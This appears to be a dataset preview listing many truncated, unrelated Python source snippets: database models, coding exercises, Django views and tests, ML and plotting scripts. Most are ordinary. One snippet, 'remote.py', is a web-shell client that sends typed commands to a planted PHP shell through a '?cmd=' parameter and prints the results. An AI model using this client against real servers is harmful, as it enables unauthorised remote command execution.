text stringlengths 38 1.54M |
|---|
from sqlalchemy import Column, Integer, String, ForeignKey
from sqlalchemy.orm import relationship, backref
from petshop.database import Base
from petshop.cliente.Cliente import Cliente
from typing import Dict
class Endereco(Base):
__tablename__ = "enderecos"
id_cliente = Column(Integer, ForeignKey(Cliente.... |
# # 9498. 시험성적
# score = int(input())
# A = { 10:"A", 9:"A", 8:"B", 7:"C", 6:"D" }
# if score//10 in A.keys() :
# print(A[(score//10)])
# else:
# print("F")
# # 10817. 세 수
# L = list(map(int,input().split()))
# L.sort()
# print(L[1])
# # 10871. X보다 작은 수
# import sys
# N, X = map(int,sys.stdin.readlin... |
from savannah.core.interpreter import AbstractBaseCommand as Command
from savannah.core.app import App
#
# TODO: add types to the argument parsing to facilitate data processing and separate it from the logic
#
class Run(Command):
verbose_name = 'run'
help = "Run Savannah with configuration from settings.jso... |
__author__ = 'Ofner Mario'
from mao.reporting.structure.reporting_columns import ReportingColumn
class ReportingTable():
# Key Column
# Key Name and 0based ColumnIndex
kc_name = None
kc_index = None
def __init__(self, column_list = None, key_column = None, header_rowheight = None, data_rowheigh... |
#!/usr/bin/env python
import sys
import rospy
import numpy as np
from tf2_msgs.msg import TFMessage
import tf
import time
import math
from numpy.linalg import inv
from artag_location.msg import AT_Message
#def callback():
# listener = tf.TransformListener()
# print listener
# if not rospy.is_shutdown():
# try:
# ... |
"""Message object.
"""
import json
import logging
from typing import Dict, List, Optional, Any
from .effects import Effect, EffectStatus, load_effect
from .utils import gen_id, short_id
from .logging import MessageLoggerAdapter
logger = logging.getLogger(__name__)
# Output pipeline effect statuses
ST_NEW = 0 # not... |
def main():
n = int(input())
mydictprev = {}
mydict = {}
num = []
arr_prev = list(map(int,input().split()))
for each in arr_prev:
if(mydictprev.get(each) == None):
mydictprev[each] = 1
else:
mydictprev[each] += 1
for i in range(0,2,1):
arr = li... |
import numpy as np
import pandas as pd
import dill
from sklearn.model_selection import train_test_split, StratifiedKFold
from sklearn.metrics import classification_report
import warnings
warnings.filterwarnings('ignore')
def evaluate_preds(model, X_train, X_test, y_train, y_test):
y_train_pred = model.predict(X... |
# -*- coding: utf-8 -*-
"""
Created on Mon Jun 14 01:59:25 2021
@author: Dominikus Edo Kristian - 20083000121
"""
jwb = "y"
while jwb=="y" or jwb=="Y":
print ("==========================")
print(" CEK NILAI HURUF")
print ("==========================")
n=0
while int(n)>=0 and int(n)... |
from PIL import Image
import sys
# multi_im = ["sikuliximage-1506129382287.png","sikuliximage-1506129382603.png","sikuliximage-1506129382921.png","sikuliximage-1506129383237.png"]
im1 = Image.open(sys.argv[1])
#im1 = Image.open("sikuliximage-1506185019606.png")
pixelMap = im1.load()
im2 = Image.open(sys.argv[2])
#im... |
from PIL import Image
from mapImages import makeMapImage,getImage,getDraaiing,getColor,getShape
import os
import shutil
#
# Hier komt de code voor het genereren van die rij
#
# resize alle afbeeldingen van de map naar een 100,100 formaat
global listOfMapItems
global rijen
global kolommen
global xMax
global yMax
glob... |
import os
import sys
from subprocess import run, PIPE
class ImageParser(object):
"""
"""
def __init__(self, image_file):
if not os.path.exists(image_file):
raise AttributeError("Incorrect image file. Image file not exists.")
self.config_name = image_file
def __read__(sel... |
from r2.lib import amqp, websockets
from reddit_liveupdate.models import ActiveVisitorsByLiveUpdateEvent
def broadcast_update():
event_ids = ActiveVisitorsByLiveUpdateEvent._cf.get_range(
column_count=1, filter_empty=False)
for event_id, is_active in event_ids:
if is_active:
coun... |
# list = [1,2,'google']
# print(list)
#
# print(list[2])
#
# print(list[1:])
#
# list.append(40)
# print(list)
#
# list.remove('google')
# print(list)
#
# print(max(list))
# print(min(list))
# list.append(0)
# print(list)
# list.sort()
# print(list)
#
# list.sort(reverse=True)
# print(list)
list = ["India","Nepal","Ch... |
# -*- encoding: utf-8 -*-
""" Template testing suite for Application_2 - this is the TESTING SUITE, all tests are run from here """
import poc_simpletest # imports testing engine
import _04_Application_2 as app_2 # imports the algorithms we are going to test
import alg_upa_trial as upa
import alg_module2_graph... |
from django.contrib.auth.models import User
from django.http import HttpResponseForbidden
from django.shortcuts import render_to_response, get_object_or_404
from django.template import RequestContext
from base_groups.models import BaseGroup, GroupMember
from communities.models import Community
from siteutils.shortcuts... |
from django.test import TestCase
from django.test.client import Client
from django.utils import timezone
class TestEntryView(TestCase):
def setUp(self):
self.client = Client()
self.entry_title = 'Jimi hendrix sunshine of your love'
self.entry = "It's getting near dawn,When lights close the... |
# -*- coding: utf-8 -*-
# @Time : 2017/4/13 16:30
# @Author : UNE
# @Site :
# @File : AdaBoosw.py
# @Software: PyCharm
# 《机器学习》(周志华)第八章8.3
"""
编程实现AdaBoosw,以不剪枝决策树为基学习器,在西瓜数据集3.0å上训练一个AdaBoosw集成,并于图8.4作比较
"""
from tool import readxls
import numpy as np
import pandas as pd
from dTree import dTree
if __name_... |
# -*- coding: utf-8 -*-
#
import inspect
import sys
import os
import sphinx.environment
from docutils.utils import get_source_line
# from mock import Mock as MagicMock
from sphinx.ext.autodoc import cut_lines
# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to s... |
import socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("127.0.0.1", 8080))
server.listen(10)
conn,addr = server.accept()
with conn:
res = conn.recv(1024)
print(res.decode("utf-8"))
conn.send(res)
conn.close() |
# SPDX-FileCopyrightText: 2020 - Sebastian Ritter <bastie@users.noreply.github.com>
# SPDX-License-Identifier: Apache-2.0
'''
Created on 01.09.2020
@author: Sͬeͥbͭaͭsͤtͬian
'''
from builtins import staticmethod
from java.nio.file.FileSystem import FileSystem
from java.lang.Object import Object
from java.nio.file.File... |
import socket # Import socket module
import os
from contextlib import redirect_stdout
def processrequest(request):
req = request.decode("utf-8")
info = req.split(" ")
req_resource = ""
req_type = info[0]
if len(info)>1:
req_resource = info[1]
print(req... |
from ui.pages.inventory_page.SlotsGroup import SlotsGroup
from game_objects.items import ItemTransactions
class SlotMoveMaster:
def __init__(self, gameRoot, page):
self.gameRoot =gameRoot
self.page = page
self.moved_slot = None
self.emty_icon = 'cha_page_elemnt_bg.png'
def mov... |
bill_price = int(input('Please enter bill total price : '))
number_of_diners = int(input('Please enter diners number : '))
print('the price for each person is {0}'.format(round(bill_price/number_of_diners,2)))
|
""" Search cell """
import os
import torch
import torch.nn as nn
import numpy as np
import time
from tensorboardX import SummaryWriter
from config import SearchConfig
import utils
from models.search_cnn import SearchCNNController
from architect import Architect
from visualize import plot
from torchsampler import Imbala... |
from __future__ import print_function
import os
import os.path as op
import subprocess
import sys
import tempfile
import pandas as pd
from pysam import FastxFile
from viruscope.tools import file_transaction, file_exists
import math
def readfx(fastx):
if not file_exists(fastx):
logger.critical("File Not F... |
"""added locked param to Task model
Revision ID: 3d21a9e6821c
Revises: 041111f828b0
Create Date: 2016-06-21 15:34:11.361072
"""
# revision identifiers, used by Alembic.
revision = '3d21a9e6821c'
down_revision = '041111f828b0'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto gene... |
#!/usr/bin/env python
import os
import sys
from subprocess import Popen, call
from tempfile import TemporaryFile
import env
from run_unit_tests import run_unit_tests
ROBOT_ARGS = ['--doc', 'SeleniumSPacceptanceSPtestsSPwithSP%(browser)s', '--outputdir', '%(outdir)s', '--variable', 'browser:%(browser)s', '--variable'... |
import smtplib
import time
import uuid
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import confuse
import requests
from fastapi import FastAPI, HTTPException, BackgroundTasks
from owslib.util import log
from owslib.wps import WebProcessingService, WPSExecution
from pydantic.types... |
# faulty calculator program
import random
print('1. Addition(+) \n2. Subtration(-) \n3. Multiplication(*) \n4. Division(/) \n5. Modulus(%) \n6. Multiple(**) '
'\n7. Exit ')
n = input('Enter your choice: ')
while n != 'j':
i = 0
n = int(n)
if n == 1:
x = int(input('Addition \nEnter... |
#!/usr/bin/env python
import matplotlib
matplotlib.use('Agg')
import ROOT
import sys
import os.path
import matplotlib.pyplot as plt
import matplotlib.backends.backend_pdf as pdf
plt.rc('font', size = 14)
PROCESSES = [
{ 'WGamma' : { 'option' : 'selected', 'label' : r'W+$\gamma$', 'rank' : '... |
'''
Created on Dec 10, 2012
@author: mkiyer
'''
import logging
import argparse
import sys
import os
import subprocess
import pysam
import oncoseq.rnaseq.lib.picard as picard
from oncoseq.rnaseq.lib.config import STRAND_SUFFIX_DICT
from oncoseq.rnaseq.lib.base import check_executable
from oncoseq.rnaseq.lib.libtable ... |
#Write a function permute to compute all possible permutations of elements of a given list.
import itertools
def permute(data):
return list(itertools.permutations(data))
print permute([1,2,3,4])
|
# -*- coding: utf-8 -*-
"""Basic structure of a evaluator."""
import gc
import logging
import timeit
from abc import ABC, abstractmethod
from contextlib import contextmanager
from dataclasses import dataclass
from math import ceil
from typing import Any, Collection, Iterable, List, Mapping, Optional, Tuple, Union, ca... |
#!/usr/bin/env python3
class Solution(object):
def exist(self, board, word):
"""
:type board: List[List[str]]
:type word: str
:rtype: bool
"""
if not board: return False
for i in range(len(board)):
for j in range(len(board[0])):
... |
#Courtney Peterson
#CSCI2244: Randomness and Computation
from __future__ import print_function, division
import numpy as np # this is a universal shorthand for numpy
import matplotlib.pyplot as plt
def run_lengths(n, p):
""" This returns a list of the run lengths in n tosses of a coin whose heads probability is ... |
from urllib2 import HTTPError
from django.contrib.auth.decorators import login_required
from django.http import HttpResponse, HttpResponseBadRequest, HttpResponseNotFound
from django.views.decorators.csrf import csrf_exempt
from django.conf import settings
from myproject.gcm import beats
from myproject.gcm.models imp... |
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
#
from string import Template
import os
import urllib2
class Menuentry(object):
def __init__(self,menuentry,path,vmlinuz, options, initrd, chroot="/home/pxe/tftp/grub"):
self.menuentry = menuentry
self.path = path
self.vmlinuz = vmlinuz
... |
from django.http import HttpResponseNotAllowed, HttpResponse, HttpResponseForbidden
from django.contrib.auth.decorators import login_required
from django.shortcuts import get_object_or_404
from django.db.models import get_model
from poster.encode import multipart_encode, MultipartParam
from poster.streaminghttp import ... |
import time
import requests
import sys
if len(sys.argv) < 2:
print "\n[!] Use: remote.py https://target.com/shel.php\n"
sys.exit()
i = sys.argv[1]
print "~ Exploit To "+i
print ""
time.sleep(3)
while True:
try:
c = raw_input("sxc@"+i+":~$ ")
r = requests.get(i+"?cmd="+c)
print r.text
... |
"""
随机指定一个1到100之间的随机数,
给出一个数:大了,显示"太大了";小了,显示"太小了"
直到猜对为止,猜对之后显示猜了几次,并问还要继续猜吗?
"""
import random
import sys
while True:
unkown_number = random.randint(1, 100)
guess_count = 0
guess_flg = True
while guess_flg:
print("please input a number:")
input_str = input()
guess_count +=1
... |
# Implements db interfaces
# Mostly contains code that are used internally only
import pymysql as MySQLdb
import pandas as pd
class SeqDB(object):
"""
Motifmap SeqDB interface
"""
def __init__(self, dbp, ref):
import motifmap.motifmapcore as motifmapcore
import numpy as np
print... |
# -*- coding: utf-8 -*-
""" Subcommands and helpers for bcfg2-info """
import os
import sys
import cmd
import math
import time
import copy
import pipes
import fnmatch
import argparse
import operator
import lxml.etree
import traceback
from code import InteractiveConsole
import Bcfg2.Logger
import Bcfg2.Options
import B... |
from flask import Flask, render_template, request, json
import numpy as np
import pandas as pd
MyApp = Flask(__name__)
df = pd.read_csv('static/data/master_ho_v2.csv');
def getUni(df, fed, col):
mean_cols = ['ndip_n', 'nent_n', 'nequ_n']
if fed == 'all':
if col in mean_cols:
ret... |
import matplotlib.pyplot as plt
import numpy as np
def plot2d(rays, sli='xz'):
def plot_ray(ray):
ra = np.concatenate([np.atleast_3d(ri.p0) for ri in ray], 2)
#ra = np.array([ri.p0 for ri in ray])
if not ray[-1].p1 == None:
ra = np.concatenate([ra, np.atleast_3d(ray[-1].p... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Created on Apr 4, 2020
.. codeauthor: svitlana vakulenko
<svitlana.vakulenko@gmail.com>
Transformer for sequence classification with a message-passing layer
'''
import gc
import torch
import torch.nn as nn
from torch.nn import CrossEntropyLoss, MSELoss
from tra... |
"""web_access.py"""
import aiohttp
import asyncio
import logging
from typing import List
from itertools import islice
from devices import Device
logger = logging.getLogger('itl_mismatch_detector')
loop = asyncio.get_event_loop()
async def test_web_access(registered_devices: List[Device], max_parallel_connections:int... |
rock = '''
_______
---' ____)
(_____)
(_____)
(____)
---.__(___)
'''
paper = '''
_______
---' ____)____
______)
_______)
_______)
---.__________)
'''
scissors = '''
_______
---' ____)____
______)
__________)
(____)
---.__(___)
''... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sqlite3
def getAllRecord(table,c):
rq = "select * from " +table+" order by id desc"
return c.execute(rq)
def getRecord(table,idt,c):
rq = "select * from " +table+ " where id = '"+str(idt)+"'"
return c.execute(rq)
#return c.fetchall
def createNe... |
#!/bin/python3
import math
import os
import random
import re
import sys
# Complete the decentNumber function below.
def decentNumber(n):
threes=n
while(threes%3!=0):
threes=threes-5
if threes<0:
print(-1)
return
print(('5'*threes+'3'*(n-threes)))
if __name__ == '... |
from ztag.annotation import *
class FoxBrand(Annotation):
port = 1911
protocol = protocols.FOX
subprotocol = protocols.FOX.DEVICE_ID
_vendors = {
"vykon": (Manufacturer.VYKON, Type.SCADA_CONTROLLER),
"facexp": (Manufacturer.FACEXP, Type.SCADA_CONTROLLER),
"websopen": (Manufac... |
import sys
from utils import *
import tensorflow as tf
tf.InteractiveSession
for x in range(1,len(sys.argv)):
arg = sys.argv[x]
features, labels = readFromCSV(arg)
print(features["Home Score"].shape)
# Define a and b as placeholders
a = tf.placeholder(dtype=tf.int32)
b = tf.placeholder(dtype=t... |
import click
import pokeit
import checkit
import settings
import sys
@click.command()
@click.option('-uq', help='unique part of @id uri')
@click.option('-s', help='success criteria file')
@click.argument('template', type=click.File('rb'))
def main(uq, s, template):
"""Simple DLCS pipeline tester"""
exit_code... |
#enmaneul hernandez
#movie trailer website
#part of code are from udacity learning material
import webbrowser
#class that make the blueprint for movie objects
class Movie():
"""This calss provides a way to store movie related information"""
VALID_RATINGS = ["G", "PG", "PG-13", "R"] #constant variable.
def __init__(... |
from .abstract_request import AbstractRequest, AbstractRequestCodec
class RequestGetDetails(AbstractRequest):
opcode = 0x22
def __init__(self):
pass
class RequestGetDetailsCodec(AbstractRequestCodec):
@staticmethod
def encode(request):
return b''
@staticmethod
def decode(pa... |
path = 'scripts/increment_data_load.sql'
try:
open(path, 'w').close()
except IOError:
print('Failure')
import requests
url = "https://covidtrackerapi.bsg.ox.ac.uk/api/v2/stringency/date-range/2021-01-01/2021-08-01"
response = requests.get(url, headers={'Accept':'application/json'})
data = response.json()
da... |
# 특정 거리의 도시찾기 - BFS문제 p339
from collections import deque
n,m,k,x = map(int , input().split())
data = [[]for _ in range(n+1)]
for _ in range(m):
a,b = map(int , input().split())
data[a].append(b)
distance = [-1]*(n+1)
distance[x] = 0
#최단 거리 갱신
queue = deque([x])
while queue :
now = queue.popleft()
for next... |
from django.conf.urls import url
from . import views
urlpatterns = [
url(
r"^(?P<slug>[a-z0-9-_]+?)-(?P<upload_id>[0-9]+)/$",
views.product_details,
name="details",
)
]
|
# server functions
import datetime as dt
drinks=[]
d_cost=[]
food=[]
f_cost=[]
def order_menu():
global drinks,food,d_cost,f_cost
with open ("menu.dat","r") as file:
data=file.readlines()
drinks = eval(data[0])
d_cost = eval(data[1])
food = eval(data[2])
f_cost = eval(d... |
import uuid
from django.contrib.auth.models import AbstractUser
from django.core.urlresolvers import reverse
from django.db import models
from phonenumber_field.modelfields import PhoneNumberField
class User(AbstractUser):
token = models.UUIDField(unique=True, default=uuid.uuid4, editable=False)
def dictif... |
import pygame, sys # inicializando librerias
pygame.init() #inicializando pygame
#DEFINIR COLORES
BLACK = (0,0,0)
WHITE = (255,255,255)
GREEN = (0,255,0)
RED = (255,0,0)
BLUE = (0,0,255)
size = (800, 500) #definir tamaño
#crear ventana
screen = pygame.display.set_mode(size)
#Controlar el reloj del progra... |
import constraint
def o1(x,y,z):
if x+y+z == 38:
return True
def o2(x,y,z,w):
if x+y+z+w == 38:
return True
def o3(x,y,z,w,h):
if x+y+z+w+h == 38:
return True
problem = constraint.Problem()
problem.addVariables("ABCDEFGHIJKLMNOPQRST", range(1,38))
problem.addConstraint(constraint.... |
# 1. 삽입 정렬 (insertion sort)
# - 삽입 정렬은 ★두 번째 인덱스★부터 시작
# - 해당 인덱스(key 값) 앞에 있는 데이터(B)부터 비교해서
# key 값이 더 작으면 B값을 뒤 인덱스로 복사
# - 이를 key 값이 더 큰 데이터를 만날때까지 반복, 그리고 큰 데이터를 만난 위치
# 바로 뒤에 key 값을 이동
# 참고 : https://visualgo.net/en/sorting
# 이해 : https://goo.gl/XKBXuk
# # 2. 알고리즘 구현
# def insertion_sort(data):
# for ind... |
num = 1
for i in range(1, 6): # Controla el número de filas
for j in range(1, 6 - i): # Imprime espacios en blanco
print(" ", end="")
for j in range(1, i + 1): # Imprime números
print(num, end=" ")
num += 1
if num > 10: # Detiene la secuencia al llegar a 10
... |
#!/c/Python/python.exe
# -*-coding:utf-8 -*
from random import *
#prend une ligne aleatoire dans le fichier 'fichier'
#attention: la premiere ligne est une excepetion du fait du \n
def lire_fichier_sudoku(fichier,ligne):
with open(fichier,'r') as mon_fichier:
texte=mon_fichier.read()
nombres = l... |
import pandas as pd
import json
import os.path
TEXT_EXTENSION = ".txt"
TRUTH_EXTENSION = ".truth"
PROBLEM_PREFIX = "problem-"
DIR = "../training_external/"
TEXT_AS_INDEX = "text"
POSITION_AS_INDEX = "positions"
ITERATIONS = 300000 # it depends on the total number of files
FEATHER_FILE = "external_data_feather"
skele... |
import os
import random
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.optim as optim
import torch.utils.data
from torchvision import datasets
import torchvision.transforms as transforms
import torchvision.utils as vutils
im... |
from pygame.locals import *
import pygame.camera
pygame.init()
pygame.camera.init()
cam = pygame.camera.Camera("/dev/video0", (320, 180))
import io
import os
from google.cloud import vision
from google.cloud.vision import types
os.environ["GOOGLE_APPLICATION_CREDENTIALS"] = "vision.json"
client = vision.ImageAnnota... |
import numpy as np
import matplotlib.pyplot as plt
import xlwt
import sys
import numpy as np
from sklearn import preprocessing, cross_validation, svm
from sklearn.linear_model import LinearRegression
data=np.load(sys.argv[1]).item()
#data2=np.load('/Users/47510753/Documents/side_projects/B_final.npy').item()
#data['... |
import subprocess, re
import os, platform
def tokenize(string):
return ' '.join(list(x.lower() for x in \
re.findall(r'[A-Za-z0-9\']+',
string)))
def score_sclite(hyp, ref):
_ref = tokenize(ref)
_hyp = tokenize(hyp)
#print (hyp)
#print (... |
import os
import sys
sys.path.append('../../../')
import pandas as pd
from dependencies import *
from settings import *
from reproducibility import *
from models.TGS_salt.Unet34_scSE_hyper import Unet_scSE_hyper as Net
import pickle
from tqdm import tqdm
from bunny import bunny
mode = "100models_weighted"
TUNE=True
df... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.constant.ParamConstants import *
class EsignResult(object):
def __init__(self):
self._agreement_id = None
self._agreement_url = None
self._apply_dutiable_mode_enum = None
self._contractor_code = None
... |
# coding: UTF-8
# !/usr/bin/env python
import os
import common, constants
from PyQt4 import QtCore, QtGui
from editor import Editors, CodeEditor, SqlDatabaseDialog, ConnectionListDocker
from settings import Setting
class MainWindow(QtGui.QMainWindow):
def __init__(self, parent=None):
super(... |
N = int(input())
def median(N):
N.sort()
if len(N) % 2 == 0:
return (N[len(N) / 2] + N[len(N) / 2 + 1]) / 2
else:
return N[(len(N) + 1) / 2]
Xl = []
for i in range(N):
A, B = map(int, input().split())
X = list(range(A, B + 1))
Xl.append(X)
print(Xl)
|
#
from visual import *
from visual.graph import *
import random
Minx = 0 # min value x axis
Maxx = 200 # max value x axis
Miny = 0 # for y axis
Maxy = 60
g = gdisplay(width=500, ... |
{
"id": "mgm4458721.3",
"metadata": {
"mgm4458721.3.metadata.json": {
"format": "json",
"provider": "metagenomics.anl.gov"
}
},
"providers": {
"metagenomics.anl.gov": {
"files": {
"100.preprocess.info": {
... |
import os, csv
from loam import FPGA
from ..lattice import Lattice
from .gpio import Pin, GPIO
from .clock import Clock
from .usart import USART
__all__ = ['ICE40HX1K', 'ICE40HX8K']
__all__ += ['ICE40LP1K', 'ICE40LP8K']
__all__ += ['ICE40UP5K']
class HX(Lattice):
family = 'ice40'
def __init__(self, name, b... |
import os
import sys
import django
# 单独使用django的model 也就是如何配置文件,可以直接连接数据库使用model导入数据
pwd = os.path.dirname(os.path.abspath(__file__))
sys.path.append(pwd+"../")
# 应用manage.py中的代码:将用到setting中的数据库的配置,因为我们要将category_data中的数据导入数据库
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "FoodMarket.settings")
django.setup()
# ... |
# Given a list_of_ints, find the highest_product you can get from three of the integers.
# The input list_of_ints will always have at least three integers.
list_of_ints = [2, -5, -1, -17, -8 , 1, 21, 200]
def highest_product_of_3(input):
selected = [input[0],input[1],input[2]]
product = selected[0] * selected... |
# section06 / 01-obj1.py
# 클래스 선언
class Member1:
userid = "python"
email = "webmaster@soldesk.com"
phone = "01012345678"
# 객체 선언
mem1 = Member1()
print(mem1.userid)
print(mem1.email)
print(mem1.phone)
# 객체 선언
mem2 = Member1()
print(mem2.userid)
print(mem2.email)
print(mem2.phone)
print()
# 함수를 내장하는... |
#!/usr/bin/env python
"""Run nosetests in the diesel event loop.
You can pass the same command-line arguments that you can pass to the
`nosetests` command to this script and it will execute the tests in the
diesel event loop. This is a great way to test interactions between various
diesel green threads and network-ba... |
"""Removes unused functions."""
def reachable(func, reachable_funcs, id_to_func):
"""Recursively mark functions reachable from func."""
reachable_funcs.add(func)
for inst in func.instructions():
if inst.op_name == 'OpFunctionCall':
called_func = id_to_func[inst.operands[0]]
... |
# coding:utf-8
__author__ = 'cwang14'
from queue import PriorityQueue
from typing import List
class Solution:
def Manhattan(self, s1, s2):
'''估值函数'''
dist = 0 # 所有元素距离他们应该在的位置的距离之和作为估值指标
for i1, d in enumerate(s1):
i2 = s2.index(d)
dist += abs(i1 // 3 - i2 // 3) ... |
class Animal(object):
def __init__(self, name, health):
self.name = name
self.health = health
print self.name
def walk(self):
self.health -= 1
return self
def run(self):
self.health -= 5
return self
def display_health(self):
print self.health
class Dog(Animal):
def __init__(self, name):
super(Dog... |
import sys
import os
import gitmer
repos_lst_file = sys.argv[1]
mappingscache_xml_file = sys.argv[2]
f = open(repos_lst_file, "r")
repos = []
for x in f.readlines():
x = x.strip('\r')
x = x.strip('\n')
repos.append(x)
f.close()
if os.path.isfile(mappingscache_xml_file):
mappings = gitmer.generate_map... |
import pandas as pd
colnames = ["SectorStatID", "SectorStatName", "PersID", "Age", "GenderID", "GenderName", "HouseholdID", "HouseholdTypeID", "HouseholdTypeName", "WorkerID", "WorkerType", "WorkSectorStatID", "WorkSectorStatName"]
student = pd.DataFrame(columns=colnames)
unif_fr = pd.read_csv('unif_fr_hors_bx... |
"""empty message
Revision ID: 5c5792caf593
Revises: 13a3da0db2d2
Create Date: 2016-03-12 16:14:17.557226
"""
# revision identifiers, used by Alembic.
revision = '5c5792caf593'
down_revision = '13a3da0db2d2'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by Alembic - ... |
import os
import sys
import socket
import select
import time
# Get user input
gammaIP = str(sys.argv[1])
gammaPort = int(sys.argv[2])
trollPort= int(sys.argv[3])
fileName = str(sys.argv[4])
# Defining Cnstants
timeout = 1.5
HOST = ''
PORT = 4001
header = b''
data = b''
flag = 1
sequenceNumber = 0
CHUNK_SIZE = 1000
ga... |
#!/usr/bin/env python
'''
this module will submit a job to the queue when a calculation is called.
Use this in a script like this:
from ase import *
from Jacapo import *
from htp.queue_qn import *
Jacapo.qsuboptions = '-l cput=23:00:00,mem=499mb -joe -p -1024'
Jacapo.calculation_required = calculation_required
Jacapo.... |
# Exercise 6, string formatting and regular expressions
import re
import os
script_dir = os.path.dirname(__file__)
rel_path = "postcodes.txt"
abs_file_path = os.path.join(script_dir, rel_path)
infile = open(abs_file_path, 'r')
valid_file_path = os.path.join(script_dir, 'validpc.txt')
valid = open(valid_file_path).rea... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import base64
from binascii import hexlify, unhexlify
try:
ModuleNotFoundError
except:
ModuleNotFoundError = ImportError
try:
from .ecmath import *
from .hexhashes import *
from .base58 import *
from .miscfuncs import *
from .miscbi... |
# Esercizio n. 9
# Trovare i numeri primi in una lista di numeri da 1 fino a 20.
lista = [8, 1, 3, 5, 4, 9, 20, 12, 15, 11, 2, 19, 10, 13]
for num in lista:
primo = True
i = 2
while i < num:
if num % i == 0:
primo = False
i = i + 1
if primo:
print("Il numero", num, ... |
"""Encoder for snap-plugin-publisher-kafka."""
try:
import ujson as json
except ImportError:
import json
import logging
import datetime
import time
try:
# Test for mypy support (requires Python 3)
from typing import List, Text
except:
pass
class Encoder(object):
""".
An encoder for the s... |
"""
第2章SSDで予測結果を画像として描画するクラス
"""
import numpy as np
import matplotlib.pyplot as plt
import cv2 # OpenCVライブラリ
import torch
import time
from utils.dataset import DatasetTransform as DataTransform
import torch.nn as nn
class SSDPredictShow(nn.Module):
"""SSDでの予測と画像の表示をまとめて行うクラス"""
def __init__(self, eval_cate... |
import os
import pika
import json
import time
import logging
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler
from inspect import getmembers
from pprint import pprint
from werkzeug.utils import secure_filename
from .lib.video import Video
from .config import endpoints_config
... |
""" TheGraph.py
Last Modified: 5/26/2020
Taha Arshad, Tennessee Bonner, Devin Mensah, Khalid Shaik, Collin Vaille
This file is responsible for implementing all operations related to graphing.
This includes both the trial graph and the real-time voltage "bar graph".
Graphing operations inclu... |
from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^$', views.index),
url(r'^ninjas$', views.turtles),
url(r'^ninjas/(?P<color>\S+)$', views.ninjacolor)
]
|
# Generated by Django 3.1.4 on 2020-12-18 08:54
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('article', '0003_comment'),
]
operations = [
migrations.CreateModel(
name='paket',
fields=[
('id', mo... |
s,n=input().split()
n=int(n)
for i in range(0,len(s)):
print(s[i:n],end=" ")
if(n<len(s)):
n=n+1
else:
break
|
shoppinglist = ['Milk','Cheese','butter']
print(shoppinglist)
# in operator
print('Milk' in shoppinglist)
# loop
for i in range(len(shoppinglist)):
shoppinglist[i] = shoppinglist[i]
print(shoppinglist[i])
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.